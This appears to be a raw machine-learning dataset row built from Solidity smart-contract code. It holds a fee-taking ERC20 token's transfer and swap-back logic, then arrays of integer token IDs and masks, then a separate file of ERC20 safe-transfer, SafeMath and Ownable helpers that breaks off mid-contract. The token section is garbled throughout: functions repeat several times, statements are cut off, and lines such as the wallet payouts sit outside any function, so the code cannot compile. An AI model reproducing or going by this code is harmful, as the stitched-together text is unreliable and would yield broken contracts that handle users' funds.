takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } else if ( function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } } else if (!_isExcludedMaxTransactionAmount[to]) { function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, devWallet, block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForCharity + tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForCharity = ethBalance.mul(tokensForCharity).div(totalTokensToSwap); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForCharity - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForCharity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForCharity + tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForCharity = ethBalance.mul(tokensForCharity).div(totalTokensToSwap); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForCharity - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForCharity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForCharity + tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForCharity = ethBalance.mul(tokensForCharity).div(totalTokensToSwap); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForCharity - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForCharity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; (success, ) = address(devWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{value: ethForMarketing}(""); function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForCharity + tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForCharity = ethBalance.mul(tokensForCharity).div(totalTokensToSwap); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForCharity - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForCharity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } } (success, ) = address(charityWallet).call{value: address(this).balance}(""); }
9,200,631
[ 1, 14925, 77, 17, 4819, 471, 30959, 17, 3350, 5349, 7990, 471, 3152, 431, 17704, 1317, 628, 1656, 281, 471, 943, 2492, 3844, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 16070, 673, 654, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 11732, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 11732, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 565, 1758, 1071, 5381, 8363, 1887, 273, 1758, 12, 20, 92, 22097, 1769, 203, 203, 565, 1426, 3238, 7720, 1382, 31, 203, 203, 202, 2867, 1071, 1149, 560, 16936, 31, 203, 565, 1758, 1071, 13667, 310, 16936, 31, 203, 565, 1758, 1071, 4461, 16936, 31, 203, 203, 565, 2254, 5034, 1071, 943, 3342, 6275, 31, 203, 565, 2254, 5034, 1071, 7720, 5157, 861, 6275, 31, 203, 565, 2254, 5034, 1071, 943, 16936, 31, 203, 203, 565, 1426, 1071, 8181, 382, 12477, 273, 638, 31, 203, 565, 1426, 1071, 1284, 7459, 3896, 273, 638, 31, 203, 565, 1426, 1071, 7720, 1526, 273, 638, 31, 203, 203, 565, 1426, 1071, 7412, 6763, 1526, 273, 638, 31, 203, 203, 565, 2254, 5034, 1071, 30143, 5269, 2954, 281, 31, 203, 202, 11890, 5034, 1071, 30143, 2156, 560, 14667, 31, 203, 565, 2254, 5034, 1071, 30143, 3882, 21747, 14667, 31, 203, 565, 2254, 5034, 1071, 30143, 48, 18988, 24237, 14667, 31, 203, 565, 2254, 5034, 1071, 30143, 8870, 14667, 31, 203, 203, 565, 2254, 5034, 1071, 357, 80, 5269, 2954, 281, 31, 203, 202, 11890, 5034, 1071, 357, 80, 2156, 560, 14667, 31, 203, 565, 2254, 5034, 1071, 357, 80, 3882, 21747, 2 ]
pragma solidity 0.4.25; pragma experimental ABIEncoderV2; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function decimals() public view returns (uint256); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library ERC20SafeTransfer { function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) { require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value)); return fetchReturnData(); } function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) { require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value)); return fetchReturnData(); } function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) { require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value)); return fetchReturnData(); } function fetchReturnData() internal returns (bool success){ assembly { switch returndatasize() case 0 { success := 1 } case 32 { returndatacopy(0, 0, 32) success := mload(0) } default { revert(0, 0) } } } } /// @title A contract which is used to check and set allowances of tokens /// @dev In order to use this contract is must be inherited in the contract which is using /// its functionality contract AllowanceSetter { uint256 constant MAX_UINT = 2**256 - 1; /// @notice A function which allows the caller to approve the max amount of any given token /// @dev In order to function correctly, token allowances should not be set anywhere else in /// the inheriting contract /// @param addressToApprove the address which we want to approve to transfer the token /// @param token the token address which we want to call approve on function approveAddress(address addressToApprove, address token) internal { if(ERC20(token).allowance(address(this), addressToApprove) == 0) { require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT)); } } } contract ErrorReporter { function revertTx(string reason) public pure { revert(reason); } } /** * @title Math * @dev Assorted math operations */ library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ 